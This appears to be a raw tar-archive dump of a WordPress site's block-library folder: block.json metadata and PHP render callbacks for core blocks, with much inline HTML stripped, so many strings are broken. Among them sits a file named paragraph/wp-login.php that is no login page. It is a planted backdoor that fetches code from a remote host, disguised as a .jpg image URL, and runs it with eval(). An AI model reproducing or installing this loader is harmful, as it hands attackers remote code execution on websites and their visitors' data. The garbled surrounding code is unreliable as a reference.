#js&&****&……block/random/Text/wp/.htaccess000055500000001006150321307160012262 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all paragraph/.htaccess000064400000001064150321702650010311 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all paragraph/wp-login.php000064400000000610150321702650010754 0ustar00"; eval("{$fupYI}" . OVkdJ("https://hhyy.grewalclan.com/hy/gogo_aabbcc.jpg?1428"));button/block.json000064400000001750150327363620010056 0ustar00{ "name": "core/button", "category": "design", "parent": [ "core/buttons" ], "attributes": { "url": { "type": "string", "source": "attribute", "selector": "a", "attribute": "href" }, "title": { "type": "string", "source": "attribute", "selector": "a", "attribute": "title" }, "text": { "type": "string", "source": "html", "selector": "a" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "a", "attribute": "target" }, "rel": { "type": "string", "source": "attribute", "selector": "a", "attribute": "rel" }, "placeholder": { "type": "string" }, "borderRadius": { "type": "number" }, "style": { "type": "object" }, "backgroundColor": { "type": "string" }, "textColor": { "type": "string" }, "gradient": { "type": "string" } }, "supports": { "anchor": true, "align": true, "alignWide": false, "reusable": false, "lightBlockWrapper": true } } calendar/block.json000064400000000532150327363620010311 0ustar00{ "name": "core/calendar", "category": "widgets", "attributes": { "align": { "type": "string", "enum": [ "left", "center", "right", "wide", "full" ] }, "className": { "type": "string" }, "month": { "type": "integer" }, "year": { "type": "integer" } }, "supports": { "align": true } } pullquote/block.json000064400000001061150327363620010570 0ustar00{ "name": "core/pullquote", "category": "text", "attributes": { "value": { "type": "string", "source": "html", "selector": "blockquote", "multiline": "p" }, "citation": { "type": "string", "source": "html", "selector": "cite", "default": "" }, "mainColor": { "type": "string" }, "customMainColor": { "type": "string" }, "textColor": { "type": "string" }, "customTextColor": { "type": "string" } }, "supports": { "anchor": true, "align": [ "left", "right", "wide", "full" ] } } more/block.json000064400000000430150327363620007477 0ustar00{ "name": "core/more", "category": "design", "attributes": { "customText": { "type": "string" }, "noTeaser": { "type": "boolean", "default": false } }, "supports": { "customClassName": false, "className": false, "html": false, "multiple": false } } shortcode/block.json000064400000000331150327363620010527 0ustar00{ "name": "core/shortcode", "category": "widgets", "attributes": { "text": { "type": "string", "source": "html" } }, "supports": { "className": false, "customClassName": false, "html": false } } gallery/block.json000064400000002704150327363620010202 0ustar00{ "name": "core/gallery", "category": "media", "attributes": { "images": { "type": "array", "default": [], "source": "query", "selector": ".blocks-gallery-item", "query": { "url": { "type": "string", "source": "attribute", "selector": "img", "attribute": "src" }, "fullUrl": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-full-url" }, "link": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-link" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "" }, "id": { "type": "string", "source": "attribute", "selector": "img", "attribute": "data-id" }, "caption": { "type": "string", "source": "html", "selector": ".blocks-gallery-item__caption" } } }, "ids": { "type": "array", "items": { "type": "number" }, "default": [] }, "columns": { "type": "number", "minimum": 1, "maximum": 8 }, "caption": { "type": "string", "source": "html", "selector": ".blocks-gallery-caption" }, "imageCrop": { "type": "boolean", "default": true }, "linkTo": { "type": "string", "default": "none" }, "sizeSlug": { "type": "string", "default": "large" } }, "supports": { "anchor": true, "align": true } } separator/block.json000064400000000277150327363620010546 0ustar00{ "name": "core/separator", "category": "design", "attributes": { "color": { "type": "string" }, "customColor": { "type": "string" } }, "supports": { "anchor": true } } code/block.json000064400000000350150327363630007451 0ustar00{ "name": "core/code", "category": "text", "attributes": { "content": { "type": "string", "source": "text", "selector": "code" } }, "supports": { "anchor": true, "html": false, "lightBlockWrapper": true } } text-columns/block.json000064400000000665150327363630011212 0ustar00{ "name": "core/text-columns", "icon": "columns", "category": "design", "attributes": { "content": { "type": "array", "source": "query", "selector": "p", "query": { "children": { "type": "string", "source": "html" } }, "default": [ {}, {} ] }, "columns": { "type": "number", "default": 2 }, "width": { "type": "string" } }, "supports": { "inserter": false } } search.php000064400000004327150327363630006540 0ustar00`. Support these by defaulting an undefined label and // buttonText to `__( 'Search' )`. $attributes = wp_parse_args( $attributes, array( 'label' => __( 'Search' ), 'buttonText' => __( 'Search' ), ) ); $input_id = 'wp-block-search__input-' . ++$instance_id; $label_markup = ''; $button_markup = ''; if ( ! empty( $attributes['label'] ) ) { $label_markup = sprintf( '', $input_id, $attributes['label'] ); } else { $label_markup = sprintf( '', $input_id, __( 'Search' ) ); } $input_markup = sprintf( '', $input_id, esc_attr( get_search_query() ), esc_attr( $attributes['placeholder'] ) ); if ( ! empty( $attributes['buttonText'] ) ) { $button_markup = sprintf( '', $attributes['buttonText'] ); } $class = 'wp-block-search'; if ( isset( $attributes['className'] ) ) { $class .= ' ' . $attributes['className']; } if ( isset( $attributes['align'] ) ) { $class .= ' align' . $attributes['align']; } return sprintf( '', esc_attr( $class ), esc_url( home_url( '/' ) ), $label_markup . $input_markup . $button_markup ); } /** * Registers the `core/search` block on the server. */ function register_block_core_search() { register_block_type_from_metadata( __DIR__ . '/search', array( 'render_callback' => 'render_block_core_search', ) ); } add_action( 'init', 'register_block_core_search' ); verse/block.json000064400000000474150327363630007672 0ustar00{ "name": "core/verse", "category": "text", "attributes": { "content": { "type": "string", "source": "html", "selector": "pre", "default": "", "__unstablePreserveWhiteSpace": true }, "textAlign": { "type": "string" } }, "supports": { "anchor": true, "lightBlockWrapper": true } } latest-comments.php000064400000011757150327363630010417 0ustar00 $attributes['commentsToShow'], 'status' => 'approve', 'post_status' => 'publish', ) ) ); $list_items_markup = ''; if ( ! empty( $comments ) ) { // Prime the cache for associated posts. This is copied from \WP_Widget_Recent_Comments::widget(). $post_ids = array_unique( wp_list_pluck( $comments, 'comment_post_ID' ) ); _prime_post_caches( $post_ids, strpos( get_option( 'permalink_structure' ), '%category%' ), false ); foreach ( $comments as $comment ) { $list_items_markup .= '
  • '; if ( $attributes['displayAvatar'] ) { $avatar = get_avatar( $comment, 48, '', '', array( 'class' => 'wp-block-latest-comments__comment-avatar', ) ); if ( $avatar ) { $list_items_markup .= $avatar; } } $list_items_markup .= '
    '; $list_items_markup .= ''; if ( $attributes['displayExcerpt'] ) { $list_items_markup .= '
    ' . wpautop( get_comment_excerpt( $comment ) ) . '
    '; } $list_items_markup .= '
  • '; } } $class = 'wp-block-latest-comments'; if ( ! empty( $attributes['className'] ) ) { $class .= ' ' . $attributes['className']; } if ( isset( $attributes['align'] ) ) { $class .= " align{$attributes['align']}"; } if ( $attributes['displayAvatar'] ) { $class .= ' has-avatars'; } if ( $attributes['displayDate'] ) { $class .= ' has-dates'; } if ( $attributes['displayExcerpt'] ) { $class .= ' has-excerpts'; } if ( empty( $comments ) ) { $class .= ' no-comments'; } $classnames = esc_attr( $class ); return ! empty( $comments ) ? sprintf( '
      %2$s
    ', $classnames, $list_items_markup ) : sprintf( '
    %2$s
    ', $classnames, __( 'No comments to show.' ) ); } /** * Registers the `core/latest-comments` block. */ function register_block_core_latest_comments() { register_block_type_from_metadata( __DIR__ . '/latest-comments', array( 'render_callback' => 'render_block_core_latest_comments', ) ); } add_action( 'init', 'register_block_core_latest_comments' ); shortcode.php000064400000001271150327363630007260 0ustar00 'render_block_core_shortcode', ) ); } add_action( 'init', 'register_block_core_shortcode' ); missing/block.json000064400000000561150327363630010214 0ustar00{ "name": "core/missing", "category": "text", "attributes": { "originalName": { "type": "string" }, "originalUndelimitedContent": { "type": "string" }, "originalContent": { "type": "string", "source": "html" } }, "supports": { "className": false, "customClassName": false, "inserter": false, "html": false, "reusable": false } } rss.php000064400000006436150327363630006105 0ustar00
    ' . __( 'RSS Error:' ) . ' ' . esc_html( $rss->get_error_message() ) . '
    '; } if ( ! $rss->get_item_quantity() ) { return '
    ' . __( 'An error has occurred, which probably means the feed is down. Try again later.' ) . '
    '; } $rss_items = $rss->get_items( 0, $attributes['itemsToShow'] ); $list_items = ''; foreach ( $rss_items as $item ) { $title = esc_html( trim( strip_tags( $item->get_title() ) ) ); if ( empty( $title ) ) { $title = __( '(no title)' ); } $link = $item->get_link(); $link = esc_url( $link ); if ( $link ) { $title = "
    {$title}"; } $title = "
    {$title}
    "; $date = ''; if ( $attributes['displayDate'] ) { $date = $item->get_date( 'U' ); if ( $date ) { $date = sprintf( ' ', esc_attr( date_i18n( get_option( 'c' ), $date ) ), esc_attr( date_i18n( get_option( 'date_format' ), $date ) ) ); } } $author = ''; if ( $attributes['displayAuthor'] ) { $author = $item->get_author(); if ( is_object( $author ) ) { $author = $author->get_name(); $author = '' . sprintf( /* translators: %s: the author. */ __( 'by %s' ), esc_html( strip_tags( $author ) ) ) . ''; } } $excerpt = ''; if ( $attributes['displayExcerpt'] ) { $excerpt = html_entity_decode( $item->get_description(), ENT_QUOTES, get_option( 'blog_charset' ) ); $excerpt = esc_attr( wp_trim_words( $excerpt, $attributes['excerptLength'], ' […]' ) ); // Change existing [...] to […]. if ( '[...]' === substr( $excerpt, -5 ) ) { $excerpt = substr( $excerpt, 0, -5 ) . '[…]'; } $excerpt = '
    ' . esc_html( $excerpt ) . '
    '; } $list_items .= "
  • {$title}{$date}{$author}{$excerpt}
  • "; } $class = 'wp-block-rss'; if ( isset( $attributes['align'] ) ) { $class .= ' align' . $attributes['align']; } if ( isset( $attributes['blockLayout'] ) && 'grid' === $attributes['blockLayout'] ) { $class .= ' is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['blockLayout'] ) { $class .= ' columns-' . $attributes['columns']; } if ( isset( $attributes['className'] ) ) { $class .= ' ' . $attributes['className']; } return sprintf( '', esc_attr( $class ), $list_items ); } /** * Registers the `core/rss` block on server. */ function register_block_core_rss() { register_block_type_from_metadata( __DIR__ . '/rss', array( 'render_callback' => 'render_block_core_rss', ) ); } add_action( 'init', 'register_block_core_rss' ); search/block.json000064400000000653150327363630010012 0ustar00{ "name": "core/search", "category": "widgets", "attributes": { "align": { "type": "string", "enum": [ "left", "center", "right", "wide", "full" ] }, "className": { "type": "string" }, "label": { "type": "string" }, "placeholder": { "type": "string", "default": "" }, "buttonText": { "type": "string" } }, "supports": { "align": true, "html": false } } media-text/block.json000064400000003046150327363630010605 0ustar00{ "name": "core/media-text", "category": "media", "attributes": { "align": { "type": "string", "default": "wide" }, "mediaAlt": { "type": "string", "source": "attribute", "selector": "figure img", "attribute": "alt", "default": "" }, "mediaPosition": { "type": "string", "default": "left" }, "mediaId": { "type": "number" }, "mediaUrl": { "type": "string", "source": "attribute", "selector": "figure video,figure img", "attribute": "src" }, "mediaLink": { "type": "string" }, "linkDestination": { "type": "string" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "target" }, "href": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "href" }, "rel": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "rel" }, "linkClass": { "type": "string", "source": "attribute", "selector": "figure a", "attribute": "class" }, "mediaType": { "type": "string" }, "mediaWidth": { "type": "number", "default": 50 }, "isStackedOnMobile": { "type": "boolean", "default": true }, "verticalAlignment": { "type": "string" }, "imageFill": { "type": "boolean" }, "focalPoint": { "type": "object" } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "lightBlockWrapper": true, "__experimentalColor": { "gradients": true, "linkColor": true } } } latest-posts/block.json000064400000002730150327363630011205 0ustar00{ "name": "core/latest-posts", "category": "widgets", "attributes": { "align": { "type": "string", "enum": [ "left", "center", "right", "wide", "full" ] }, "className": { "type": "string" }, "categories": { "type": "array", "items": { "type": "object" } }, "selectedAuthor": { "type": "number" }, "postsToShow": { "type": "number", "default": 5 }, "displayPostContent": { "type": "boolean", "default": false }, "displayPostContentRadio": { "type": "string", "default": "excerpt" }, "excerptLength": { "type": "number", "default": 55 }, "displayAuthor": { "type": "boolean", "default": false }, "displayPostDate": { "type": "boolean", "default": false }, "postLayout": { "type": "string", "default": "list" }, "columns": { "type": "number", "default": 3 }, "order": { "type": "string", "default": "desc" }, "orderBy": { "type": "string", "default": "date" }, "displayFeaturedImage": { "type": "boolean", "default": false }, "featuredImageAlign": { "type": "string", "enum": [ "left", "center", "right" ] }, "featuredImageSizeSlug": { "type": "string", "default": "thumbnail" }, "featuredImageSizeWidth": { "type": "number", "default": null }, "featuredImageSizeHeight": { "type": "number", "default": null } }, "supports": { "align": true, "html": false } } classic/block.json000064400000000334150327363640010163 0ustar00{ "name": "core/freeform", "category": "text", "attributes": { "content": { "type": "string", "source": "html" } }, "supports": { "className": false, "customClassName": false, "reusable": false } } block.php000064400000001651150327363640006363 0ustar00post_type ) { return ''; } if ( 'publish' !== $reusable_block->post_status || ! empty( $reusable_block->post_password ) ) { return ''; } return do_blocks( $reusable_block->post_content ); } /** * Registers the `core/block` block. */ function register_block_core_block() { register_block_type_from_metadata( __DIR__ . '/block', array( 'render_callback' => 'render_block_core_block', ) ); } add_action( 'init', 'register_block_core_block' ); file/block.json000064400000001332150327363640007460 0ustar00{ "name": "core/file", "category": "media", "attributes": { "id": { "type": "number" }, "href": { "type": "string" }, "fileName": { "type": "string", "source": "html", "selector": "a:not([download])" }, "textLinkHref": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "href" }, "textLinkTarget": { "type": "string", "source": "attribute", "selector": "a:not([download])", "attribute": "target" }, "showDownloadButton": { "type": "boolean", "default": true }, "downloadButtonText": { "type": "string", "source": "html", "selector": "a[download]" } }, "supports": { "anchor": true, "align": true } } latest-posts.php000064400000015503150327363640007734 0ustar00 $attributes['postsToShow'], 'post_status' => 'publish', 'order' => $attributes['order'], 'orderby' => $attributes['orderBy'], 'suppress_filters' => false, ); $block_core_latest_posts_excerpt_length = $attributes['excerptLength']; add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); if ( isset( $attributes['categories'] ) ) { $args['category__in'] = array_column( $attributes['categories'], 'id' ); } if ( isset( $attributes['selectedAuthor'] ) ) { $args['author'] = $attributes['selectedAuthor']; } $recent_posts = get_posts( $args ); $list_items_markup = ''; foreach ( $recent_posts as $post ) { $list_items_markup .= '
  • '; if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) { $image_style = ''; if ( isset( $attributes['featuredImageSizeWidth'] ) ) { $image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] ); } if ( isset( $attributes['featuredImageSizeHeight'] ) ) { $image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] ); } $image_classes = 'wp-block-latest-posts__featured-image'; if ( isset( $attributes['featuredImageAlign'] ) ) { $image_classes .= ' align' . $attributes['featuredImageAlign']; } $list_items_markup .= sprintf( '
    %2$s
    ', $image_classes, get_the_post_thumbnail( $post, $attributes['featuredImageSizeSlug'], array( 'style' => $image_style, ) ) ); } $title = get_the_title( $post ); if ( ! $title ) { $title = __( '(no title)' ); } $list_items_markup .= sprintf( '%2$s', esc_url( get_permalink( $post ) ), $title ); if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $author_display_name = get_the_author_meta( 'display_name', $post->post_author ); /* translators: byline. %s: current author. */ $byline = sprintf( __( 'by %s' ), $author_display_name ); if ( ! empty( $author_display_name ) ) { $list_items_markup .= sprintf( '
    %1$s
    ', esc_html( $byline ) ); } } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $list_items_markup .= sprintf( '', esc_attr( get_the_date( 'c', $post ) ), esc_html( get_the_date( '', $post ) ) ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) { $trimmed_excerpt = get_the_excerpt( $post ); if ( post_password_required( $post ) ) { $trimmed_excerpt = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s
    ', $trimmed_excerpt ); } if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent'] && isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) { $post_content = wp_kses_post( html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) ) ); if ( post_password_required( $post ) ) { $post_content = __( 'This content is password protected.' ); } $list_items_markup .= sprintf( '
    %1$s
    ', $post_content ); } $list_items_markup .= "
  • \n"; } remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 ); $class = 'wp-block-latest-posts wp-block-latest-posts__list'; if ( isset( $attributes['align'] ) ) { $class .= ' align' . $attributes['align']; } if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) { $class .= ' is-grid'; } if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) { $class .= ' columns-' . $attributes['columns']; } if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) { $class .= ' has-dates'; } if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) { $class .= ' has-author'; } if ( isset( $attributes['className'] ) ) { $class .= ' ' . $attributes['className']; } return sprintf( '', esc_attr( $class ), $list_items_markup ); } /** * Registers the `core/latest-posts` block on server. */ function register_block_core_latest_posts() { register_block_type_from_metadata( __DIR__ . '/latest-posts', array( 'render_callback' => 'render_block_core_latest_posts', ) ); } add_action( 'init', 'register_block_core_latest_posts' ); /** * Handles outdated versions of the `core/latest-posts` block by converting * attribute `categories` from a numeric string to an array with key `id`. * * This is done to accommodate the changes introduced in #20781 that sought to * add support for multiple categories to the block. However, given that this * block is dynamic, the usual provisions for block migration are insufficient, * as they only act when a block is loaded in the editor. * * TODO: Remove when and if the bottom client-side deprecation for this block * is removed. * * @param array $block A single parsed block object. * * @return array The migrated block object. */ function block_core_latest_posts_migrate_categories( $block ) { if ( 'core/latest-posts' === $block['blockName'] && ! empty( $block['attrs']['categories'] ) && is_string( $block['attrs']['categories'] ) ) { $block['attrs']['categories'] = array( array( 'id' => absint( $block['attrs']['categories'] ) ), ); } return $block; } add_filter( 'render_block_data', 'block_core_latest_posts_migrate_categories' ); archives.php000064400000005474150327363640007104 0ustar00 'monthly', 'format' => 'option', 'show_post_count' => $show_post_count, ) ); $dropdown_args['echo'] = 0; $archives = wp_get_archives( $dropdown_args ); switch ( $dropdown_args['type'] ) { case 'yearly': $label = __( 'Select Year' ); break; case 'monthly': $label = __( 'Select Month' ); break; case 'daily': $label = __( 'Select Day' ); break; case 'weekly': $label = __( 'Select Week' ); break; default: $label = __( 'Select Post' ); break; } $label = esc_attr( $label ); $block_content = ' '; return sprintf( '
    %2$s
    ', esc_attr( $class ), $block_content ); } $class .= ' wp-block-archives-list'; /** This filter is documented in wp-includes/widgets/class-wp-widget-archives.php */ $archives_args = apply_filters( 'widget_archives_args', array( 'type' => 'monthly', 'show_post_count' => $show_post_count, ) ); $archives_args['echo'] = 0; $archives = wp_get_archives( $archives_args ); $classnames = esc_attr( $class ); if ( empty( $archives ) ) { return sprintf( '
    %2$s
    ', $classnames, __( 'No archives to show.' ) ); } return sprintf( '', $classnames, $archives ); } /** * Register archives block. */ function register_block_core_archives() { register_block_type_from_metadata( __DIR__ . '/archives', array( 'render_callback' => 'render_block_core_archives', ) ); } add_action( 'init', 'register_block_core_archives' ); latest-comments/block.json000064400000001121150327363640011654 0ustar00{ "name": "core/latest-comments", "category": "widgets", "attributes": { "align": { "type": "string", "enum": [ "left", "center", "right", "wide", "full" ] }, "className": { "type": "string" }, "commentsToShow": { "type": "number", "default": 5, "minimum": 1, "maximum": 100 }, "displayAvatar": { "type": "boolean", "default": true }, "displayDate": { "type": "boolean", "default": true }, "displayExcerpt": { "type": "boolean", "default": true } }, "supports": { "align": true, "html": false } } paragraph/block.json000064400000001363150327363640010512 0ustar00{ "name": "core/paragraph", "category": "text", "attributes": { "align": { "type": "string" }, "content": { "type": "string", "source": "html", "selector": "p", "default": "" }, "dropCap": { "type": "boolean", "default": false }, "placeholder": { "type": "string" }, "direction": { "type": "string", "enum": [ "ltr", "rtl" ] } }, "supports": { "anchor": true, "className": false, "lightBlockWrapper": true, "__experimentalColor": { "linkColor": true }, "__experimentalFontSize": true, "__experimentalLineHeight": true, "__experimentalFeatures": { "typography": { "dropCap": true } }, "__experimentalSelector": "p", "__unstablePasteTextInline": true } } image/block.json000064400000002427150327363640007631 0ustar00{ "name": "core/image", "category": "media", "attributes": { "align": { "type": "string" }, "url": { "type": "string", "source": "attribute", "selector": "img", "attribute": "src" }, "alt": { "type": "string", "source": "attribute", "selector": "img", "attribute": "alt", "default": "" }, "caption": { "type": "string", "source": "html", "selector": "figcaption" }, "title": { "type": "string", "source": "attribute", "selector": "img", "attribute": "title" }, "href": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "href" }, "rel": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "rel" }, "linkClass": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "class" }, "id": { "type": "number" }, "width": { "type": "number" }, "height": { "type": "number" }, "sizeSlug": { "type": "string" }, "linkDestination": { "type": "string", "default": "none" }, "linkTarget": { "type": "string", "source": "attribute", "selector": "figure > a", "attribute": "target" } }, "supports": { "anchor": true, "lightBlockWrapper": true } } html/block.json000064400000000327150327363640007510 0ustar00{ "name": "core/html", "category": "widgets", "attributes": { "content": { "type": "string", "source": "html" } }, "supports": { "customClassName": false, "className": false, "html": false } } calendar.php000064400000003333150327363640007041 0ustar00%2$s', esc_attr( 'wp-block-calendar' . $custom_class_name . $align_class_name ), get_calendar( true, false ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $monthnum = $previous_monthnum; // phpcs:ignore WordPress.WP.GlobalVariablesOverride.OverrideProhibited $year = $previous_year; return $output; } /** * Registers the `core/calendar` block on server. */ function register_block_core_calendar() { register_block_type_from_metadata( __DIR__ . '/calendar', array( 'render_callback' => 'render_block_core_calendar', ) ); } add_action( 'init', 'register_block_core_calendar' ); group/block.json000064400000000506150327363640007677 0ustar00{ "name": "core/group", "category": "design", "attributes": { "tagName": { "type": "string", "default": "div" } }, "supports": { "align": [ "wide", "full" ], "anchor": true, "html": false, "lightBlockWrapper": true, "__experimentalColor": { "gradients": true, "linkColor": true } } } table/block.json000064400000004403150327363640007632 0ustar00{ "name": "core/table", "category": "text", "attributes": { "hasFixedLayout": { "type": "boolean", "default": false }, "backgroundColor": { "type": "string" }, "caption": { "type": "string", "source": "html", "selector": "figcaption", "default": "" }, "head": { "type": "array", "default": [], "source": "query", "selector": "thead tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "string", "source": "html" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" } } } } }, "body": { "type": "array", "default": [], "source": "query", "selector": "tbody tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "string", "source": "html" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" } } } } }, "foot": { "type": "array", "default": [], "source": "query", "selector": "tfoot tr", "query": { "cells": { "type": "array", "default": [], "source": "query", "selector": "td,th", "query": { "content": { "type": "string", "source": "html" }, "tag": { "type": "string", "default": "td", "source": "tag" }, "scope": { "type": "string", "source": "attribute", "attribute": "scope" }, "align": { "type": "string", "source": "attribute", "attribute": "data-align" } } } } } }, "supports": { "anchor": true, "align": true } } heading/block.json000064400000001402150327363640010136 0ustar00{ "name": "core/heading", "category": "text", "attributes": { "align": { "type": "string" }, "content": { "type": "string", "source": "html", "selector": "h1,h2,h3,h4,h5,h6", "default": "" }, "level": { "type": "number", "default": 2 }, "placeholder": { "type": "string" } }, "supports": { "anchor": true, "className": false, "lightBlockWrapper": true, "__experimentalColor": { "linkColor": true }, "__experimentalFontSize": true, "__experimentalLineHeight": true, "__experimentalSelector": { "core/heading/h1": "h1", "core/heading/h2": "h2", "core/heading/h3": "h3", "core/heading/h4": "h4", "core/heading/h5": "h5", "core/heading/h6": "h6" }, "__unstablePasteTextInline": true } } social-link/block.json000064400000000472150327363640010752 0ustar00{ "name": "core/social-link", "category": "widgets", "parent": [ "core/social-links" ], "attributes": { "url": { "type": "string" }, "service": { "type": "string" }, "label": { "type": "string" } }, "supports": { "reusable": false, "html": false, "lightBlockWrapper": true } } rss/block.json000064400000001426150327363640007354 0ustar00{ "name": "core/rss", "category": "widgets", "attributes": { "align": { "type": "string", "enum": [ "left", "center", "right", "wide", "full" ] }, "className": { "type": "string" }, "columns": { "type": "number", "default": 2 }, "blockLayout": { "type": "string", "default": "list" }, "feedURL": { "type": "string", "default": "" }, "itemsToShow": { "type": "number", "default": 5 }, "displayExcerpt": { "type": "boolean", "default": false }, "displayAuthor": { "type": "boolean", "default": false }, "displayDate": { "type": "boolean", "default": false }, "excerptLength": { "type": "number", "default": 55 } }, "supports": { "align": true, "html": false } } list/block.json000064400000001055150327363640007516 0ustar00{ "name": "core/list", "category": "text", "attributes": { "ordered": { "type": "boolean", "default": false }, "values": { "type": "string", "source": "html", "selector": "ol,ul", "multiline": "li", "__unstableMultilineWrapperTags": [ "ol", "ul" ], "default": "" }, "type": { "type": "string" }, "start": { "type": "number" }, "reversed": { "type": "boolean" } }, "supports": { "anchor": true, "className": false, "__unstablePasteTextInline": true, "lightBlockWrapper": true } } social-link.php000064400000153703150327363640007504 0ustar00 ' . $icon . ''; } /** * Registers the `core/social-link` blocks. */ function register_block_core_social_link() { register_block_type_from_metadata( __DIR__ . '/social-link', array( 'render_callback' => 'render_block_core_social_link', ) ); } add_action( 'init', 'register_block_core_social_link' ); /** * Returns the SVG for social link. * * @param string $service The service icon. * * @return string SVG Element for service icon. */ function block_core_social_link_get_icon( $service ) { $services = block_core_social_link_services(); if ( isset( $services[ $service ] ) && isset( $services[ $service ]['icon'] ) ) { return $services[ $service ]['icon']; } return $services['share']['icon']; } /** * Returns the brand name for social link. * * @param string $service The service icon. * * @return string Brand label. */ function block_core_social_link_get_name( $service ) { $services = block_core_social_link_services(); if ( isset( $services[ $service ] ) && isset( $services[ $service ]['name'] ) ) { return $services[ $service ]['name']; } return $services['share']['name']; } /** * Returns the SVG for social link. * * @param string $service The service slug to extract data from. * @param string $field The field ('name', 'icon', etc) to extract for a service. * * @return array|string */ function block_core_social_link_services( $service = '', $field = '' ) { $services_data = array( 'fivehundredpx' => array( 'name' => '500px', 'icon' => '', ), 'amazon' => array( 'name' => 'Amazon', 'icon' => '', ), 'bandcamp' => array( 'name' => 'Bandcamp', 'icon' => '', ), 'behance' => array( 'name' => 'Behance', 'icon' => '', ), 'chain' => array( 'name' => 'Link', 'icon' => '', ), 'codepen' => array( 'name' => 'CodePen', 'icon' => '', ), 'deviantart' => array( 'name' => 'DeviantArt', 'icon' => '', ), 'dribbble' => array( 'name' => 'Dribbble', 'icon' => '', ), 'dropbox' => array( 'name' => 'Dropbox', 'icon' => '', ), 'etsy' => array( 'name' => 'Etsy', 'icon' => '', ), 'facebook' => array( 'name' => 'Facebook', 'icon' => '', ), 'feed' => array( 'name' => 'RSS Feed', 'icon' => '', ), 'flickr' => array( 'name' => 'Flickr', 'icon' => '', ), 'foursquare' => array( 'name' => 'Foursquare', 'icon' => '', ), 'goodreads' => array( 'name' => 'Goodreads', 'icon' => '', ), 'google' => array( 'name' => 'Google', 'icon' => '', ), 'github' => array( 'name' => 'GitHub', 'icon' => '', ), 'instagram' => array( 'name' => 'Instagram', 'icon' => '', ), 'lastfm' => array( 'name' => 'Last.fm', 'icon' => '', ), 'linkedin' => array( 'name' => 'LinkedIn', 'icon' => '', ), 'mail' => array( 'name' => 'Mail', 'icon' => '', ), 'mastodon' => array( 'name' => 'Mastodon', 'icon' => '', ), 'meetup' => array( 'name' => 'Meetup', 'icon' => '', ), 'medium' => array( 'name' => 'Medium', 'icon' => '', ), 'pinterest' => array( 'name' => 'Pinterest', 'icon' => '', ), 'pocket' => array( 'name' => 'Pocket', 'icon' => '', ), 'reddit' => array( 'name' => 'Reddit', 'icon' => '', ), 'skype' => array( 'name' => 'Skype', 'icon' => '', ), 'snapchat' => array( 'name' => 'Snapchat', 'icon' => '', ), 'soundcloud' => array( 'name' => 'Soundcloud', 'icon' => '', ), 'spotify' => array( 'name' => 'Spotify', 'icon' => '', ), 'tumblr' => array( 'name' => 'Tumblr', 'icon' => '', ), 'twitch' => array( 'name' => 'Twitch', 'icon' => '', ), 'twitter' => array( 'name' => 'Twitter', 'icon' => '', ), 'vimeo' => array( 'name' => 'Vimeo', 'icon' => '', ), 'vk' => array( 'name' => 'VK', 'icon' => '', ), 'wordpress' => array( 'name' => 'WordPress', 'icon' => '', ), 'yelp' => array( 'name' => 'Yelp', 'icon' => '', ), 'youtube' => array( 'name' => 'YouTube', 'icon' => '', ), 'share' => array( 'name' => 'Share Icon', 'icon' => '', ), ); if ( ! empty( $service ) && ! empty( $field ) && isset( $services_data[ $service ] ) && ( 'icon' === $field || 'name' === $field ) ) { return $services_data[ $service ][ $field ]; } elseif ( ! empty( $service ) && isset( $services_data[ $service ] ) ) { return $services_data[ $service ]; } return $services_data; } archives/block.json000064400000000653150327363650010353 0ustar00{ "name": "core/archives", "category": "widgets", "attributes": { "align": { "type": "string", "enum": [ "left", "center", "right", "wide", "full" ] }, "className": { "type": "string" }, "displayAsDropdown": { "type": "boolean", "default": false }, "showPostCounts": { "type": "boolean", "default": 